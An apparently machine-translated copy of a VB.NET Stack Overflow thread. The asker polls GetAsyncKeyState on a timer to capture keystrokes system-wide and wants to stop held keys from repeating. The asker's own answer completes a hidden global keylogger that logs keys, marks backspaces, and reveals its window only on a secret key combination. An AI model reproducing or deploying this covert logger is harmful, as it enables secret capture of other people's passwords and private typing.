文本框输出多个字母visual basic [for loop]

时间:2014-07-11 03:06:38

标签: vb.net visual-studio keyboard visual-studio-2013

所以我真的不知道如何写标题,但这就是我想要做的。如果按键盘上的任意键,它会多次将该字母输出到文本框。我需要的是检查两次不输出相同的字母,除非你松开钥匙并再次按下键。过去一小时我一直在弄乱它,似乎无法搞清楚。我尝试过使用看起来很有希望的阵列,但我仍然没有把它弄好。无论如何这里是代码片段:

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer

        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result <> 0 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next

        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                txtLogs.Text &= key
            Else
                txtLogs.Text &= key.ToLower
            End If
        End If

希望有意义,如果您有任何问题,请告诉我。

2 个答案:

答案 0 :(得分:0)

当按下并按住某个键时,TextBox会不断提升KeyDownKeyPress个事件。您可以使用KeyDown事件取消除第一个KeyPress之外的所有内容,从而拒绝所有后续字符:

Private allowCharacter As Boolean = True

Private Sub TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles TextBox1.KeyDown
    If allowCharacter Then
        'This is the first KeyDown event so disallow any further characters.
        allowCharacter = False
    Else
        'This is not the first KeyDown event so don't raise KeyPress to reject the repeated character.
        e.SuppressKeyPress = True
    End If
End Sub

Private Sub TextBox1_KeyUp(sender As Object, e As KeyEventArgs) Handles TextBox1.KeyUp
    'Allow the first character on the next KeyDown event.
    allowCharacter = True
End Sub

答案 1 :(得分:0)

想出来,虽然它不是很优雅,但它有效。

首先我创建了“全局变量”

Public Class GlobalVariables
    Public Shared pressed(90) As Integer
    Public Shared result As Integer
    Public Shared key As String
    Public Shared lastKey As String
End Class

然后我用了那些和一个数组。计时器没有保留变量的值(显然),它需要是因为它每5毫秒被设置一次。

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick
      Dim i As Integer

      For i = 3 To 90
      GlobalVariables.key = Nothing
      GlobalVariables.result = GetAsyncKeyState(i)
      If GlobalVariables.result <> 0 And GlobalVariables.pressed(i) = 0 Then
            GlobalVariables.pressed(i) = GlobalVariables.result
            GlobalVariables.key = Chr(i)
            If i = 13 Then GlobalVariables.key = vbNewLine
            If i = 8 Then GlobalVariables.key = " _backspaces_ "
            Exit For
      End If
      GlobalVariables.pressed(i) = GlobalVariables.result
      Next

      If GlobalVariables.key <> Nothing Then
      GlobalVariables.lastKey = GlobalVariables.key
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            txtLogs.Text &= GlobalVariables.key
      Else
            txtLogs.Text &= GlobalVariables.key.ToLower
      End If
      End If

      If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.CapsLock AndAlso My.Computer.Keyboard.ShiftKeyDown Then
      Me.Visible = True
      Me.Opacity = 100
      Me.ShowInTaskbar = True
      Me.ShowIcon = True
      End If
    End Sub